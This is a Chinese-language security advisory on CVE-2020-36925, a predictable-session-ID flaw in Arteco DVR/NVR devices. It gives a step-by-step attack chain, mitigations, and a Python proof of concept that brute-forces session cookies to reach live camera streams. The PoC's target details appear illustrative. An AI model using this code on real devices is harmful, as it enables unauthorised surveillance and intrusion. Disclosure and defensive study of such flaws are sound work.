IPBUF安全漏洞报告
English
CVE-2020-36925 CVSS 9.8 严重

CVE-2020-36925: Arteco DVR/NVR 会话劫持漏洞导致未授权访问摄像头

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2020-36925
漏洞类型
会话劫持/认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Arteco Web Client DVR/NVR (AR-708, AR-716)

相关标签

会话劫持认证绕过ArtecoDVRNVR视频监控暴力破解弱会话ID未授权访问实时视频流

漏洞概述

CVE-2020-36925是影响Arteco公司Web Client DVR/NVR设备的一个严重安全漏洞。该漏洞存在于设备的会话管理机制中,由于会话ID生成算法存在严重缺陷,攻击者可以通过暴力破解的方式预测或枚举有效的会话标识符。Arteco是一家专注于视频监控解决方案的厂商,其DVR(数字视频录像机)和NVR(网络视频录像机)产品广泛应用于各类安防场景。漏洞的核心问题在于会话ID的熵值不足,生成的会话标识符具有可预测性,攻击者无需任何凭证即可在特定数值范围内进行枚举攻击。一旦攻击者成功获取有效的会话ID,即可绕过正常的身份认证流程,以合法用户身份访问系统。更严重的是,攻击者可以利用获得的会话权限未经授权访问实时摄像头视频流,获取敏感监控画面。该漏洞无需任何用户交互,攻击者可远程发起,CVSS评分高达9.8,属于极其严重的漏洞等级。建议受影响的用户立即采取修复措施,避免遭受潜在的安全威胁。

技术细节

该漏洞的技术根源在于Arteco Web Client会话ID生成机制的严重设计缺陷。系统在创建会话时使用了可预测的算法,生成的会话标识符具有较低的随机性和复杂度,攻击者可以通过以下方式利用:首先,攻击者需要识别目标Arteco设备的Web管理界面,通常通过端口扫描发现暴露的HTTP/HTTPS服务。然后,攻击者发送初始请求触发会话创建,获取一个基准会话ID。通过分析多个会话ID的序列模式,攻击者可以推断出会话ID的生成规律。由于会话ID在特定数值范围内递增或存在固定偏移,攻击者可以在该范围内进行暴力枚举。系统对会话ID的验证缺乏足够的保护机制,如未实施速率限制或账户锁定策略,使得自动化工具可以快速遍历大量可能的会话ID。当枚举到有效会话ID后,攻击者将其注入到后续请求的Cookie或认证头中,即可获得已认证用户的全部权限,包括访问实时视频流、PTZ控制、历史录像等敏感功能。整个攻击过程无需任何有效凭证,完全依赖于会话管理机制的缺陷。

攻击链分析

STEP 1
步骤1: 目标侦查
攻击者对目标Arteco DVR/NVR设备进行端口扫描,发现开放的Web管理端口(通常为8080或80),识别设备型号和版本信息
STEP 2
步骤2: 会话初始化
攻击者访问设备登录页面,触发会话创建机制,获取初始会话ID作为分析样本
STEP 3
步骤3: 会话ID分析
通过多次请求收集多个会话ID样本,分析会话ID的生成规律、格式和数值范围,识别可预测的模式
STEP 4
步骤4: 暴力枚举攻击
利用自动化工具在识别出的数值范围内暴力枚举会话ID,由于系统缺乏速率限制和账户锁定机制,攻击可以快速进行
STEP 5
步骤5: 会话劫持
当枚举到有效会话ID后,攻击者将其注入到HTTP请求的Cookie或认证头中,伪装成合法认证用户
STEP 6
步骤6: 未授权访问
使用劫持的会话访问受保护的API接口,获取实时摄像头视频流、历史录像、PTZ控制等权限
STEP 7
步骤7: 数据窃取
攻击者可以持续监听和录制监控画面,窃取敏感场所的监控数据,可能涉及隐私泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import itertools from concurrent.futures import ThreadPoolExecutor # CVE-2020-36925 PoC - Arteco DVR/NVR Session Hijacking # Target: Arteco Web Client DVR/NVR # Vulnerability: Insufficient session ID complexity TARGET_URL = "http://target-arteco-device:8080" SESSION_COOKIE_NAME = "JSESSIONID" SESSION_ID_RANGE = range(100000, 200000) # Example range def create_session(): """Create initial session and get base session ID""" try: response = requests.get(f"{TARGET_URL}/login", timeout=10) if SESSION_COOKIE_NAME in response.cookies: return response.cookies[SESSION_COOKIE_NAME] except Exception as e: print(f"Session creation failed: {e}") return None def test_session(session_id): """Test if session ID is valid by accessing protected resource""" try: cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies, timeout=5 ) if response.status_code == 200 and "cameras" in response.text: return session_id, True except: pass return session_id, False def bruteforce_session(): """Bruteforce session IDs to find valid session""" print(f"[*] Creating initial session...") base_session = create_session() if base_session: print(f"[+] Base session ID: {base_session}") print(f"[*] Starting session ID bruteforce...") with ThreadPoolExecutor(max_workers=20) as executor: futures = [executor.submit(test_session, sid) for sid in SESSION_ID_RANGE] for future in futures: sid, is_valid = future.result() if is_valid: print(f"[!] VALID SESSION FOUND: {sid}") return sid print("[-] No valid session found") return None def access_camera_stream(session_id): """Access live camera stream with hijacked session""" cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies ) print(f"[*] Camera stream response: {response.status_code}") return response.json() if __name__ == "__main__": valid_session = bruteforce_session() if valid_session: print(f"[+] Exploiting valid session: {valid_session}") access_camera_stream(valid_session)

影响范围

Arteco Web Client DVR/NVR (未知影响版本)
Arteco AR-708 NVR (所有版本)
Arteco AR-716 NVR (所有版本)

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:1) 通过网络ACL或防火墙限制对Arteco设备Web管理界面的访问,仅允许受信任的IP地址访问;2) 禁用不必要的远程管理功能;3) 启用入侵检测系统监控异常的会话枚举行为;4) 定期重启设备以清除可能存在的被劫持会话;5) 监控网络流量,识别大量来自同一源的会话请求模式;6) 考虑使用VPN建立安全通道访问设备管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表